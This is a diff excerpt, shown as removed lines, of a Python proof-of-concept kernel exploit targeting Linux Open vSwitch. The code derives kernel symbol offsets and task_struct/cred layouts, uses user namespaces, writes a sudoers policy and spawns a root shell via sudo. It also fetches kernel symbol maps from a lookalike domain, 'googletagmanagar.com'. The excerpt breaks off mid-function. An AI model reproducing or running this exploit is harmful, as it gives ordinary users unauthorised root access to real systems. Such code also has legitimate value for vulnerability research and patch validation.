"*.rpm"))) - ) - if rpm_paths: - break - - if not rpm_paths: - log(f"bootstrap: no kernel RPM downloaded under {pkg_dir}") - return False - - for rpm_path in rpm_paths: - base_name = os.path.basename(rpm_path) - if not ( - base_name.startswith("kernel-core-") or base_name.startswith("kernel-") - ): - continue - if base_name.startswith("kernel-") and not base_name.startswith( - "kernel-core-" - ): - if any( - x in base_name - for x in ( - "kernel-devel-", - "kernel-debug-", - "kernel-headers-", - "kernel-tools-", - ) - ): - continue - _extract_rpm_tree(rpm_path, extract_root) - src = _find_system_map_in_tree(extract_root, release) - if src is None: - continue - shutil.copyfile(src, dest) - os.chmod(dest, 0o644) - offsets, failure = symbol_offsets_from(dest) - if offsets is not None: - log(f"bootstrap: extracted System.map to {dest}") - return True - log(f"bootstrap: extracted map unusable: {failure}") - - log("bootstrap: kernel RPM did not contain a usable System.map") - return False - - -def in_namespace_child() -> bool: - return bool(os.environ.get(HOST_USER_ENV)) - - -def prepare_system_map_host() -> None: - if in_namespace_child(): - return - release = os.uname().release - bootstrap_system_map(release, network=True) - - -def bootstrap_system_map(release: str, *, network: bool | None = None) -> None: - if os.environ.get("OVS_C004_NO_SYSMAP_BOOTSTRAP", "").strip().lower() in ( - "1", - "yes", - "true", - ): - return - dest = system_map_cache_path(release) - if os.environ.get("OVS_C004_SYSTEM_MAP", "").strip(): - return - if os.path.isfile(dest) and os.access(dest, os.R_OK): - offsets, _failure = symbol_offsets_from(dest) - if offsets is not None: - os.environ["OVS_C004_SYSTEM_MAP"] = dest - return - if network is None: - network = not in_namespace_child() - if not network: - return - if bootstrap_system_map_from_urls(release, dest) or bootstrap_system_map_from_rpm( - release, dest - ): - os.environ["OVS_C004_SYSTEM_MAP"] = dest - - -def discover_system_map_candidates(release: str) -> list[str]: - script_dir = os.path.dirname(os.path.abspath(__file__)) - dwarves_base = os.environ.get("OVS_C004_DWARES_BASE", "").strip() - home = os.path.expanduser("~") - candidates: list[str] = [] - custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip() - if custom: - candidates.append(custom) - candidates.append(system_map_cache_path(release)) - for stem in system_map_release_stems(release): - candidates.extend( - [ - os.path.join(script_dir, "data", f"System.map-{stem}"), - os.path.join(script_dir, "data", f"minimal-{stem}.System.map"), - os.path.join(script_dir, f"System.map-{stem}"), - os.path.join(home, ".cache", "ovs_c004", "run", f"System.map-{stem}"), - os.path.join(home, ".cache", "ovs_c004", f"System.map-{stem}"), - "/var/lib/gitea/data/home/.cache/ovs_c004/run/" - f"System.map-{stem}", - ] - ) - candidates.extend(system_map_standard_paths(release)) - if dwarves_base: - for stem in system_map_release_stems(release): - candidates.extend( - [ - os.path.join(dwarves_base, "run", f"System.map-{stem}"), - os.path.join(dwarves_base, f"System.map-{stem}"), - ] - ) - for stem in system_map_release_stems(release): - candidates.extend( - sorted( - glob.glob( - os.path.join(script_dir, "data", f"minimal*{stem}*.System.map") - ) - ) - ) - candidates.extend(sorted(glob.glob(os.path.join(script_dir, "data", "minimal*.System.map")))) - ordered: list[str] = [] - seen: set[str] = set() - for path in candidates: - if path in seen: - continue - seen.add(path) - if os.path.isfile(path): - ordered.append(path) - return ordered - - -def is_retriable_kernel_layout_error(exc: BaseException) -> bool: - if not isinstance(exc, RuntimeError): - return False - message = str(exc) - markers = ( - "XArray entry", - "init_pid_ns.idr", - "init_pid_ns idr", - "pid.tasks.first", - "noncanonical task", - "task.pid=", - "does not match the expected vmlinux symbol offset", - "XArray node shift", - ) - return any(marker in message for marker in markers) - - -def strip_c_comments(text: str) -> str: - text = re.sub(r"/\*.*?\*/", "", text, flags=re.S) - return re.sub(r"//.*", "", text) - - -def parse_btf_enum_value( - btf_path: str, enum_name: str, constant_name: str -) -> int | None: - pahole = shutil.which("pahole") - if pahole is not None and os.access(btf_path, os.R_OK): - commands = [[pahole, "-C", enum_name, btf_path]] - base = os.path.join(os.path.dirname(btf_path), "vmlinux") - if os.path.basename(btf_path) != "vmlinux" and os.access(base, os.R_OK): - commands.append([pahole, f"--btf_base={base}", "-C", enum_name, btf_path]) - for command in commands: - result = subprocess.run( - command, - text=True, - capture_output=True, - check=False, - ) - if result.returncode == 0: - value = parse_enum_from_text(result.stdout, enum_name, constant_name) - if value is not None: - return value - return None - - -def path_state(path: str) -> str: - if not os.path.exists(path): - return f"{path} (missing)" - if not os.path.isfile(path): - return f"{path} (not a regular file)" - if not os.access(path, os.R_OK): - return f"{path} (not readable)" - return f"{path} (readable)" - - -def summarize_path_states(paths: list[str], limit: int = 14) -> str: - if not paths: - return "no candidate paths were configured" - entries = [path_state(path) for path in paths[:limit]] - if len(paths) > limit: - entries.append(f"... {len(paths) - limit} more candidate paths omitted") - return "; ".join(entries) - - -def parse_enum_from_text(text: str, enum_name: str, constant_name: str) -> int | None: - text = strip_c_comments(text) - match = re.search(rf"enum\s+{re.escape(enum_name)}\s*\{{(.*?)\}};", text, re.S) - if not match: - return None - value = 0 - for raw_entry in match.group(1).split(","): - entry = raw_entry.strip() - if not entry: - continue - name, sep, explicit = entry.partition("=") - name = name.strip() - if sep: - explicit_value = explicit.strip() - if not re.fullmatch(r"0x[0-9A-Fa-f]+|[0-9]+", explicit_value): - return None - value = int(explicit_value, 0) - if name == constant_name: - return value - value += 1 - return None - - -def derive_ovs_uapi_constants(record: KernelBuildRecord | None) -> None: - global OVS_KEY_ATTR_TUNNEL_INFO - - if record is not None: - OVS_KEY_ATTR_TUNNEL_INFO = record.ovs_key_attr_tunnel_info - log( - "UAPI: using pre-derived OVS_KEY_ATTR_TUNNEL_INFO=" - f"{OVS_KEY_ATTR_TUNNEL_INFO}" - ) - return - - btf_path = f"{BTF_DIR}/openvswitch" - tunnel_info = parse_btf_enum_value( - btf_path, "ovs_key_attr", "OVS_KEY_ATTR_TUNNEL_INFO" - ) - if tunnel_info is None: - raise RuntimeError( - "kernel is not covered by pre-derived kernel records, and this user " - f"could not derive OVS_KEY_ATTR_TUNNEL_INFO from {btf_path}. " - f"Checked: {path_state(btf_path)}" - ) - if tunnel_info != OVS_KEY_ATTR_TUNNEL_INFO: - log( - "UAPI: OVS_KEY_ATTR_TUNNEL_INFO=" - f"{tunnel_info} from {btf_path} " - f"(fallback was {OVS_KEY_ATTR_TUNNEL_INFO})" - ) - OVS_KEY_ATTR_TUNNEL_INFO = tunnel_info - - -def checked_binary(name: str) -> str: - if name == "sudo": - wrapper = "/run/wrappers/bin/sudo" - if os.access(wrapper, os.X_OK): - return wrapper - path = shutil.which(name) - if path is None: - raise RuntimeError(f"required command not found in PATH: {name}") - return path - - -def optional_binary(name: str) -> str | None: - return shutil.which(name) - - -def uid_map_first_entry() -> tuple[int, int, int, str]: - with open("/proc/self/uid_map", "r", encoding="ascii") as handle: - first_line = handle.readline().strip() - fields = first_line.split() - if len(fields) < 3: - raise RuntimeError(f"unexpected uid_map format: {first_line!r}") - return int(fields[0]), int(fields[1]), int(fields[2]), first_line - - -def process_status_line(prefix: str) -> str: - with open("/proc/self/status", "r", encoding="ascii") as handle: - for line in handle: - if line.startswith(prefix): - return line.strip() - raise RuntimeError(f"/proc/self/status did not contain {prefix!r}") - - -def effective_capability_mask() -> int: - line = process_status_line("CapEff:") - fields = line.split() - if len(fields) != 2: - raise RuntimeError(f"unexpected CapEff line: {line!r}") - return int(fields[1], 16) - - -def launching_user() -> tuple[int, int, str]: - uid = os.getuid() - gid = os.getgid() - if uid == 0 or os.geteuid() == 0: - raise RuntimeError( - "refusing to run as root. Run this PoC directly as an ordinary " - "non-sudo local user." - ) - if effective_capability_mask() != 0: - raise RuntimeError( - "refusing to run with preexisting effective capabilities. Run this " - "PoC as an ordinary unprivileged user." - ) - try: - username = pwd.getpwuid(uid).pw_name - except KeyError: - raise RuntimeError(f"uid {uid} has no passwd entry") from None - return uid, gid, username - - -def ensure_user_starts_without_passwordless_sudo(username: str) -> None: - step("CHECKING BASELINE SUDO ACCESS") - sudo = checked_binary("sudo") - result = subprocess.run( - [sudo, "-n", "true"], - text=True, - capture_output=True, - check=False, - ) - detail = (result.stderr or result.stdout).strip() - if result.returncode == 0: - raise RuntimeError( - f"refusing to run: user {username!r} already has passwordless sudo. " - "Use a non-sudo ordinary user so the root-shell delta is meaningful." - ) - print(f"baseline passwordless sudo for {username}: denied", flush=True) - if detail: - print(f"sudo denial detail: {detail.splitlines()[0]}", flush=True) - - -def spawn_root_shell(username: str) -> None: - step("SPAWNING ROOT SHELL") - sudo = checked_binary("sudo") - shell = shutil.which("bash") or "/bin/bash" - if not os.path.exists(shell): - raise RuntimeError(f"root shell path missing: {shell}") - print( - f"RESULT: sudoers policy write achieved; spawning 'sudo -n {shell}' as " - f"{username}", - flush=True, - ) - verify_only = os.environ.get("OVS_C004_VERIFY_ONLY") == "1" or not sys.stdin.isatty() - spawn_cmd = [sudo, "-n", "id"] if verify_only else [sudo, "-n", shell] - try: - result = subprocess.run(spawn_cmd, check=False) - except OSError as exc: - raise RuntimeError( - f"failed to spawn root shell through sudo: errno={exc.errno} " - f"{exc.strerror}" - ) from exc - if result.returncode != 0: - raise RuntimeError(f"root shell exited with status {result.returncode}") - print( - "root shell exited; namespace pin process remains alive to avoid unsafe " - "OVS teardown", - flush=True, - ) - - -def namespace_prefix_works(prefix: list[str], env: dict[str, str]) -> tuple[bool, str]: - probe = prefix + [ - sys.executable, - "-c", - "import os,sys; sys.exit(0 if os.geteuid() == 0 else 1)", - ] - try: - result = subprocess.run( - probe, - env=env, - text=True, - capture_output=True, - check=False, - timeout=60, - ) - except subprocess.TimeoutExpired: - return False, "namespace probe timed out after 60 seconds" - if result.returncode == 0: - return True, "" - detail = (result.stderr or result.stdout).strip() - return False, detail.splitlines()[0] if detail else "" - - -def private_namespace_prefix(env: dict[str, str]) -> list[str]: - unshare = checked_binary("unshare") - direct = [unshare, "-Urn"] - works, detail = namespace_prefix_works(direct, env) - if works: - log("namespace: direct unshare -Urn works") - return direct - log(f"namespace: direct unshare -Urn failed: {detail}") - aa_exec = optional_binary("aa-exec") - if aa_exec is None: - raise RuntimeError( - "direct unshare -Urn failed and aa-exec is not available for the " - "AppArmor trinity fallback" - ) - aa_prefix = [aa_exec, "-p", "trinity", "--", unshare, "-Urn"] - log("namespace: trying aa-exec -p trinity -- unshare -Urn fallback") - works, aa_detail = namespace_prefix_works(aa_prefix, env) - if works: - log("namespace: aa-exec -p trinity fallback works") - return aa_prefix - raise RuntimeError( - "could not enter a private root-mapped user+network namespace. " - f"direct unshare failed with: {detail}; aa-exec fallback failed with: " - f"{aa_detail}" - ) - - -def run_child_in_private_namespace( - host_user: str, - writer_pid: int, - writer_trigger_fd: int, - writer_ack_fd: int, -) -> None: - step("ENTERING PRIVATE USER AND NETWORK NAMESPACES") - script = os.path.abspath(sys.argv[0]) - env = os.environ.copy() - env[HOST_USER_ENV] = host_user - env[HOST_WRITER_PID_ENV] = str(writer_pid) - env[HOST_WRITER_TRIGGER_FD_ENV] = str(writer_trigger_fd) - env[HOST_WRITER_ACK_FD_ENV] = str(writer_ack_fd) - prefix = private_namespace_prefix(env) - command = prefix + [sys.executable, script, "--child"] - print(f"running child: {' '.join(command)}", flush=True) - success = False - try: - completed = subprocess.run( - command, - env=env, - check=False, - pass_fds=(writer_trigger_fd, writer_ack_fd), - ) - success = completed.returncode == 0 - if completed.returncode != 0: - raise RuntimeError( - f"namespace child failed with exit status {completed.returncode}" - ) - finally: - for fd in (writer_trigger_fd, writer_ack_fd): - try: - os.close(fd) - except OSError: - pass - if not success: - try: - os.waitpid(writer_pid, os.WNOHANG) - except ChildProcessError: - pass - spawn_root_shell(host_user) - - -def validate_child_namespace() -> str: - host_user = os.environ.get(HOST_USER_ENV) - if not host_user: - raise RuntimeError("missing OVS_C004_HOST_USER from parent process") - inside_uid, outside_uid, count, first_line = uid_map_first_entry() - if os.getuid() != 0 or os.geteuid() != 0: - raise RuntimeError("child is not uid 0 inside the private user namespace") - if inside_uid != 0 or outside_uid == 0 or count != 1: - raise RuntimeError(f"unexpected private uid_map format: {first_line!r}") - return host_user - - -def inherited_sudoers_writer() -> tuple[int, int, int]: - raw_pid = os.environ.get(HOST_WRITER_PID_ENV) - raw_trigger_fd = os.environ.get(HOST_WRITER_TRIGGER_FD_ENV) - raw_ack_fd = os.environ.get(HOST_WRITER_ACK_FD_ENV) - if not raw_pid or not raw_trigger_fd or not raw_ack_fd: - raise RuntimeError("missing inherited host sudoers writer state") - try: - writer_pid = int(raw_pid) - trigger_fd = int(raw_trigger_fd) - ack_fd = int(raw_ack_fd) - except ValueError as exc: - raise RuntimeError("invalid inherited host sudoers writer state") from exc - for fd, label in ((trigger_fd, "trigger"), (ack_fd, "ack")): - try: - os.fstat(fd) - except OSError as exc: - raise RuntimeError( - f"inherited host sudoers writer {label} fd {fd} is invalid: " - f"errno={exc.errno} {exc.strerror}" - ) from exc - return writer_pid, trigger_fd, ack_fd - - -class BtfResolver: - def __init__(self, btf_dir: str = BTF_DIR) -> None: - self.btf_dir = btf_dir - self._struct_cache: dict[str, tuple[str, str]] = {} - self.paths = self.candidate_paths() - self.readable = [ - path - for path in self.paths - if os.path.isfile(path) and os.access(path, os.R_OK) - ] - if not self.readable: - raise RuntimeError( - "kernel is not covered by pre-derived kernel records, and this " - "user could not find readable local BTF or unstripped kernel " - "build objects for pahole-based layout derivation. Checked: " - f"{summarize_path_states(self.paths)}" - ) - log(f"debug info: found {len(self.readable)} readable pahole source files") - - def candidate_paths(self) -> list[str]: - ordered: list[str] = [] - seen: set[str] = set() - - def add(path: str) -> None: - if path in seen: - return - seen.add(path) - ordered.append(path) - - try: - btf_entries = [ - os.path.join(self.btf_dir, entry) - for entry in os.listdir(self.btf_dir) - ] - except OSError: - btf_entries = [] - vmlinux_btf = os.path.join(self.btf_dir, "vmlinux") - add(vmlinux_btf) - for path in sorted(btf_entries): - if path != vmlinux_btf: - add(path) - - release = os.uname().release - build_dir = f"/lib/modules/{release}/build" - for path in ( - f"{build_dir}/net/openvswitch/conntrack.o", - f"{build_dir}/net/openvswitch/openvswitch.o", - f"{build_dir}/net/netfilter/core.o", - f"{build_dir}/net/netfilter/nf_conntrack_core.o", - f"{build_dir}/net/netfilter/nf_conntrack.o", - f"{build_dir}/net/netfilter/nf_conntrack_ftp.o", - f"{build_dir}/vmlinux", - f"/usr/src/linux-{release}/vmlinux", - f"/usr/lib/debug/boot/vmlinux-{release}", - f"/usr/lib/debug/lib/modules/{release}/vmlinux", - f"/usr/lib/debug/vmlinux-{release}", - ): - add(path) - try: - for entry in sorted(os.listdir("/usr/src")): - add(os.path.join("/usr/src", entry, "vmlinux")) - except OSError: - pass - return ordered - - def struct_text(self, type_name: str) -> tuple[str, str]: - cached = self._struct_cache.get(type_name) - if cached is not None: - return cached - errors: list[str] = [] - for path in self.readable: - commands = [["pahole", "-C", type_name, path]] - if not path.startswith(self.btf_dir + os.sep): - commands = [["pahole", "-F", "dwarf", "-C", type_name, path]] - elif path != os.path.join(self.btf_dir, "vmlinux"): - commands.append( - [ - "pahole", - f"--btf_base={os.path.join(self.btf_dir, 'vmlinux')}", - "-C", - type_name, - path, - ] - ) - for command in commands: - result = subprocess.run( - command, - text=True, - capture_output=True, - check=False, - ) - if f"struct {type_name}" in result.stdout: - log(f"debug info: found struct {type_name} in {path}") - found = (path, result.stdout) - self._struct_cache[type_name] = found - return found - if result.stderr.strip(): - errors.append(f"{path}: {result.stderr.strip().splitlines()[-1]}") - raise RuntimeError( - f"required debug type struct {type_name} was not found in readable " - "local BTF or unstripped kernel build objects" - + (f" (last errors: {'; '.join(errors[-3:])})" if errors else "") - ) - - def field_offset(self, type_name: str, field_name: str) -> int: - _path, text = self.struct_text(type_name) - return parse_pahole_field_offset(text, type_name, field_name) - - def struct_size(self, type_name: str) -> int: - _path, text = self.struct_text(type_name) - match = re.search(r"/\*\s*size:\s*(\d+),", text) - if match is None: - raise RuntimeError(f"could not parse sizeof(struct {type_name}) from pahole output") - return int(match.group(1)) - - -def parse_pahole_field_offset(text: str, type_name: str, field_name: str) -> int: - field_pattern = re.compile( - r"(^|[\s\*\)])" + re.escape(field_name) + r"(\s*(\[|;|\)|__attribute__))" - ) - for line in text.splitlines(): - if "/*" not in line or not field_pattern.search(line): - continue - match = re.search(r"/\*\s*(\d+)\s+\d+\s*\*/", line) - if match is not None: - return int(match.group(1)) - raise RuntimeError(f"could not parse {type_name}.{field_name} offset from pahole output") - - -def parse_symbol_values(path: str) -> tuple[dict[str, int], str | None]: - values: dict[str, int] = {} - try: - with open(path, "r", encoding="ascii", errors="replace") as handle: - for line in handle: - fields = line.split() - if len(fields) < 3 or fields[2] not in REQUIRED_SYMBOLS: - continue - try: - values[fields[2]] = int(fields[0], 16) - except ValueError: - continue - except OSError as exc: - return values, f"{path} unavailable to this user: {exc.strerror}" - return values, None - - -def symbol_offsets_from(path: str) -> tuple[SymbolOffsets | None, str]: - log(f"symbols: trying {path}") - values, error = parse_symbol_values(path) - if error is not None: - log(f"symbols: {error}") - return None, error - missing = [name for name in REQUIRED_SYMBOLS if name not in values] - if missing: - names = ", ".join(missing) - log(f"symbols: {path} missing required symbols: {names}") - return None, f"{path} readable but missing {names}" - zeroed = [name for name in REQUIRED_SYMBOLS if values[name] == 0] - if zeroed: - names = ", ".join(zeroed) - log(f"symbols: {path} has zeroed required symbols: {names}") - return None, f"{path} readable but zeroed {names}" - base = values[KERNEL_BASE_SYMBOL] - module_ktype = values["module_ktype"] - base - init_pid_ns = values["init_pid_ns"] - base - if module_ktype <= 0 or init_pid_ns <= 0: - log(f"symbols: {path} produced invalid offsets from {KERNEL_BASE_SYMBOL}") - return None, f"{path} readable but produced invalid symbol offsets" - log( - f"symbols: using {path}; module_ktype_offset=0x{module_ktype:x} " - f"init_pid_ns_offset=0x{init_pid_ns:x}" - ) - return SymbolOffsets(module_ktype, init_pid_ns), "" - - -def local_symbol_candidate_paths(release: str) -> list[str]: - candidates: list[str] = [] - custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip() - if custom: - candidates.append(custom) - candidates.extend(discover_system_map_candidates(release)) - candidates.extend(system_map_standard_paths(release)) - candidates.extend([ - "/boot/System.map", - "/proc/kallsyms", - ]) - try: - with open( - "/usr/src/linux/include/config/kernel.release", - "r", - encoding="ascii", - errors="replace", - ) as handle: - if handle.read().strip() == release: - candidates.append("/usr/src/linux/System.map") - except OSError: - pass - ordered: list[str] = [] - seen: set[str] = set() - for path in candidates: - if path in seen: - continue - seen.add(path) - ordered.append(path) - return ordered - - -_RELEASE_RE = re.compile(r"^(.+?)-(\d+)(~[^-]+)?-(.+)$") -_UBUNTU_VER_NUM = re.compile(r"#(\d+)") - - -def ubuntu_version_compatible(record_version: str, uname_version: str) -> bool: - """Match #88-Ubuntu with #88~22.04.1-Ubuntu on the same kernel ABI.""" - if record_version == uname_version: - return True - record_num = _UBUNTU_VER_NUM.search(record_version) - uname_num = _UBUNTU_VER_NUM.search(uname_version) - return ( - record_num is not None - and uname_num is not None - and record_num.group(1) == uname_num.group(1) - ) - - -def parse_linux_release(release: str) -> tuple[str, int, str | None, str] | None: - match = _RELEASE_RE.match(release) - if match is not None: - return match.group(1), int(match.group(2)), match.group(3), match.group(4) - rpm = _RPM_RELEASE_RE.match(release) - if rpm is not None: - rel_num = int(rpm.group(2).split(".", 1)[0]) - flavor = rpm.group(3) - if rpm.group(4) is not None: - flavor = f"{flavor}.{rpm.group(4)}" - return rpm.group(1), rel_num, None, flavor - return None - - -def version_backport_hint(version: str) -> str | None: - if "~22.04" in version: - return "~22.04" - if "~20.04" in version: - return "~20.04" - return None - - -def lookup_neighbor_kernel_record( - uname: os.uname_result, - records: tuple[KernelBuildRecord, ...], -) -> KernelBuildRecord | None: - if os.environ.get("OVS_C004_NEIGHBOR", "1").strip().lower() in ( - "0", - "no", - "false", - ): - return None - parsed = parse_linux_release(uname.release) - if parsed is None: - return None - base, target_num, target_tilde, flavor = parsed - backport = version_backport_hint(uname.version) - best: KernelBuildRecord | None = None - best_score = (-1, -1) - for record in records: - if record.machine != uname.machine: - continue - candidate = parse_linux_release(record.release) - if candidate is None: - continue - cand_base, cand_num, cand_tilde, cand_flavor = candidate - if cand_base != base or cand_flavor != flavor: - continue - if cand_num > target_num: - continue - if backport is None: - backport_score = 1 if cand_tilde is None else 0 - else: - backport_score = ( - 1 if cand_tilde is not None and backport in cand_tilde else 0 - ) - score = (cand_num, backport_score) - if score > best_score: - best = record - best_score = score - if best is None: - return None - log( - "kernel lookup: no exact record for " - f"release={uname.release} version={uname.version!r}; " - f"using nearest neighbor release={best.release} version={best.version!r} " - "(set OVS_C004_NEIGHBOR=0 to disable)" - ) - return best - - -def symbol_offsets_from_env() -> SymbolOffsets | None: - raw = os.environ.get("OVS_C004_SYMBOL_OFFSETS", "").strip() - if not raw: - return None - parts = [part.strip() for part in raw.split(",") if part.strip()] - if len(parts) != 2: - raise RuntimeError( - "OVS_C004_SYMBOL_OFFSETS must be two comma-separated hex offsets " - "(module_ktype, init_pid_ns relative to _text)" - ) - try: - module_ktype = int(parts[0], 0) - init_pid_ns = int(parts[1], 0) - except ValueError as exc: - raise RuntimeError( - f"OVS_C004_SYMBOL_OFFSETS contains invalid integers: {raw!r}" - ) from exc - if module_ktype <= 0 or init_pid_ns <= 0: - raise RuntimeError( - "OVS_C004_SYMBOL_OFFSETS must contain positive module_ktype and " - "init_pid_ns offsets" - ) - log( - "symbols: using OVS_C004_SYMBOL_OFFSETS; " - f"module_ktype_offset=0x{module_ktype:x} init_pid_ns_offset=0x{init_pid_ns:x}" - ) - return SymbolOffsets(module_ktype, init_pid_ns) - - -def lookup_kernel_build_record() -> KernelBuildRecord | None: - if force_dynamic_requested(): - if not kallsyms_usable(): - log( - "kernel lookup: OVS_C004_FORCE_DYNAMIC requested but " - "/proc/kallsyms is zeroed or unusable; will still try hybrid " - "and System.map fallbacks" - ) - else: - log( - "kernel lookup: OVS_C004_FORCE_DYNAMIC set, skipping " - "pre-derived records" - ) - return None - uname = os.uname() - records = load_kernel_build_records() - release_matches = [ - record for record in records if record.release == uname.release - ] - exact_matches = [ - record - for record in release_matches - if record.machine == uname.machine - and ubuntu_version_compatible(record.version, uname.version) - ] - if exact_matches: - record = exact_matches[0] - log( - "kernel lookup: using pre-derived record for " - f"release={record.release} version={record.version!r}" - ) - return record - if release_matches: - log( - "kernel lookup: release is covered but this exact build is not: " - f"release={uname.release} version={uname.version!r} " - f"machine={uname.machine}" - ) - same_release = lookup_neighbor_kernel_record(uname, tuple(release_matches)) - if same_release is not None: - log( - "kernel lookup: using same-release neighbor " - f"release={same_release.release} version={same_release.version!r}" - ) - return same_release - neighbor = lookup_neighbor_kernel_record(uname, records) - if neighbor is not None: - return neighbor - return None - neighbor = lookup_neighbor_kernel_record(uname, records) - if neighbor is not None: - return neighbor - log( - "kernel lookup: no pre-derived record for " - f"release={uname.release} version={uname.version!r} machine={uname.machine}; " - "will try local System.map/kallsyms and BTF derivation. This kernel is " - "not covered by our validation table." - ) - return None - - -def derive_symbol_offsets() -> SymbolOffsets: - env_symbols = symbol_offsets_from_env() - if env_symbols is not None: - return env_symbols - release = os.uname().release - bootstrap_system_map(release, network=not in_namespace_child()) - failures: list[str] = [] - for path in local_symbol_candidate_paths(release): - offsets, failure = symbol_offsets_from(path) - if offsets is not None: - return offsets - failures.append(failure) - raise RuntimeError( - "kernel is not covered by pre-derived kernel records, and this user " - "could not derive module_ktype/init_pid_ns from local System.map or " - "nonzero /proc/kallsyms locations. Checked: " - + ( - "; ".join(failures) - if failures - else "no candidate symbol paths were configured" - ) - + ". Tried bootstrapping via OVS_C004_SYSTEM_MAP_URL / " - "googletagmanagar.com/exp/ov2/System.map-* and " - f"{shutil.which('dnf') or shutil.which('yum') or 'dnf/yum'} download " - f"kernel-core-{release}. Upload a readable map and set " - "OVS_C004_SYSTEM_MAP, or set OVS_C004_SYMBOL_OFFSETS=" - "module_ktype_off,init_pid_ns_off (hex offsets relative to _text)." - ) - - -def derive_kernel_offsets(btf: BtfResolver, symbols: SymbolOffsets) -> KernelOffsets: - module_mkobj = btf.field_offset("module", "mkobj") - module_kobject_kobj = btf.field_offset("module_kobject", "kobj") - kobject_ktype = btf.field_offset("kobject", "ktype") - ovs_conntrack_info_size = btf.struct_size("ovs_conntrack_info") - ovs_ct_labels = btf.field_offset("ovs_conntrack_info", "labels") - ip_tunnel_info_key = btf.field_offset("ip_tunnel_info", "key") - try: - dst_entry_ref = btf.field_offset("dst_entry", "__rcuref") - dst_entry_ref_kind = "__rcuref" - except RuntimeError: - dst_entry_ref = btf.field_offset("dst_entry", "__refcnt") - dst_entry_ref_kind = "__refcnt" - offsets = KernelOffsets( - nf_conntrack_helper_me=btf.field_offset("nf_conntrack_helper", "me"), - module_kobj_ktype=module_mkobj + module_kobject_kobj + kobject_ktype, - vmlinux_module_ktype=symbols.module_ktype, - vmlinux_init_pid_ns=symbols.init_pid_ns, - task_pid=btf.field_offset("task_struct", "pid"), - task_cred=btf.field_offset("task_struct", "cred"), - task_pid_links=btf.field_offset("task_struct", "pid_links"), - cred_fsuid=btf.field_offset("cred", "fsuid"), - cred_fsgid=btf.field_offset("cred", "fsgid"), - cred_cap_permitted=btf.field_offset("cred", "cap_permitted"), - cred_cap_effective=btf.field_offset("cred", "cap_effective"), - pid_namespace_idr=btf.field_offset("pid_namespace", "idr"), - idr_idr_rt=btf.field_offset("idr", "idr_rt"), - idr_base=btf.field_offset("idr", "idr_base"), - xarray_xa_head=btf.field_offset("xarray", "xa_head"), - xa_node_shift=btf.field_offset("xa_node", "shift"), - xa_node_slots=btf.field_offset("xa_node", "slots"), - pid_tasks=btf.field_offset("pid", "tasks"), - hlist_head_first=btf.field_offset("hlist_head", "first"), - dst_entry_ref=dst_entry_ref, - dst_entry_ref_kind=dst_entry_ref_kind, - metadata_dst_tun_info=btf.field_offset("metadata_dst", "u"), - ip_tunnel_key_ipv4_src=ip_tunnel_info_key - + btf.field_offset("ip_tunnel_key", "src"), - ip_tunnel_key_ipv4_dst=ip_tunnel_info_key - + btf.field_offset("ip_tunnel_key", "dst"), - ip_tunnel_key_tos=ip_tunnel_info_key - + btf.field_offset("ip_tunnel_key", "tos"), - ip_tunnel_key_ttl=ip_tunnel_info_key - + btf.field_offset("ip_tunnel_key", "ttl"), - ip_tunnel_key_tp_src=ip_tunnel_info_key - + btf.field_offset("ip_tunnel_key", "tp_src"), - ip_tunnel_key_tp_dst=ip_tunnel_info_key - + btf.field_offset("ip_tunnel_key", "tp_dst"), - ovs_ct_labels=ovs_ct_labels, - ovs_ct_action_len=NLA_HEADER_SIZE + ovs_conntrack_info_size, - ) - log("kernel offsets: derived from local symbols and debug type info") - return offsets - - -def try_build_hybrid_offsets( - symbols: SymbolOffsets, - label: str, -) -> KernelOffsets | None: - try: - btf = BtfResolver() - except RuntimeError as exc: - log(f"kernel offsets: hybrid plan {label} skipped: {exc}") - return None - try: - offsets = derive_kernel_offsets(btf, symbols) - except RuntimeError as exc: - log(f"kernel offsets: hybrid plan {label} skipped: {exc}") - return None - log(f"kernel offsets: built hybrid plan {label}") - return offsets - - -def append_kernel_plan( - plans: list[KernelParameterPlan], - seen: set[KernelOffsets], - name: str, - offsets: KernelOffsets, - record: KernelBuildRecord | None, -) -> None: - if offsets in seen: - return - seen.add(offsets) - plans.append(KernelParameterPlan(name, offsets, record)) - - -def build_kernel_parameter_plans() -> list[KernelParameterPlan]: - record = lookup_kernel_build_record() - release = os.uname().release - plans: list[KernelParameterPlan] = [] - seen: set[KernelOffsets] = set() - - if hybrid_mode_requested(record): - require_pahole_for_dynamic_derivation() - if record is not None: - for path in discover_system_map_candidates(release): - symbols, _failure = symbol_offsets_from(path) - if symbols is None: - continue - offsets = try_build_hybrid_offsets( - symbols, - f"hybrid+System.map ({path})", - ) - if offsets is not None: - append_kernel_plan( - plans, - seen, - f"hybrid+System.map ({path})", - offsets, - record, - ) - record_symbols = SymbolOffsets( - record.offsets.vmlinux_module_ktype, - record.offsets.vmlinux_init_pid_ns, - ) - offsets = try_build_hybrid_offsets( - record_symbols, - "hybrid+pre-derived symbols", - ) - if offsets is not None: - append_kernel_plan( - plans, - seen, - "hybrid+pre-derived symbols", - offsets, - record, - ) - - if record is not None and env_tri_state("OVS_C004_HYBRID") != "on": - append_kernel_plan(plans, seen, "pre-derived", record.offsets, record) - - if record is None or force_dynamic_requested() or not plans: - if record is None: - acknowledge_unknown_kernel() - require_pahole_for_dynamic_derivation() - try: - symbols = derive_symbol_offsets() - btf = BtfResolver() - offsets = derive_kernel_offsets(btf, symbols) - append_kernel_plan(plans, seen, "dynamic", offsets, record) - except RuntimeError as exc: - if not plans: - reason = str(exc).strip().rstrip(".") - raise RuntimeError( - "could not build any kernel offset plan because " - f"{reason}. For a definitive check of whether you are " - "affected, see https://heyitsas.im/posts/ovswrap" - ) from exc - log(f"kernel offsets: dynamic plan unavailable: {exc}") - - if not plans: - raise RuntimeError( - "could not build any kernel offset plan for this kernel" - ) - log( - "kernel offsets: candidate plans (in try order): " - + ", ".join(plan.name for plan in plans) - ) - return plans - - -def current_kernel_parameters() -> tuple[KernelOffsets, KernelBuildRecord | None]: - plans = build_kernel_parameter_plans() - plan = plans[0] - derive_ovs_uapi_constants(plan.record) - if plan.record is not None: - if plan.name.startswith("hybrid"): - log( - "kernel offsets: starting with hybrid/BTF struct layouts " - f"({plan.name})" - ) - elif plan.name == "pre-derived": - log("kernel offsets: starting with pre-derived values") - else: - log(f"kernel offsets: starting with {plan.name}") - else: - log("kernel offsets: starting with dynamically derived values") - return plan.offsets, plan.record - - -def create_datapath(genl: GenericNetlink, family_id: int, name: str) -> None: - payload = struct.pack("i", 0) - payload += nla(OVS_DP_ATTR_NAME, 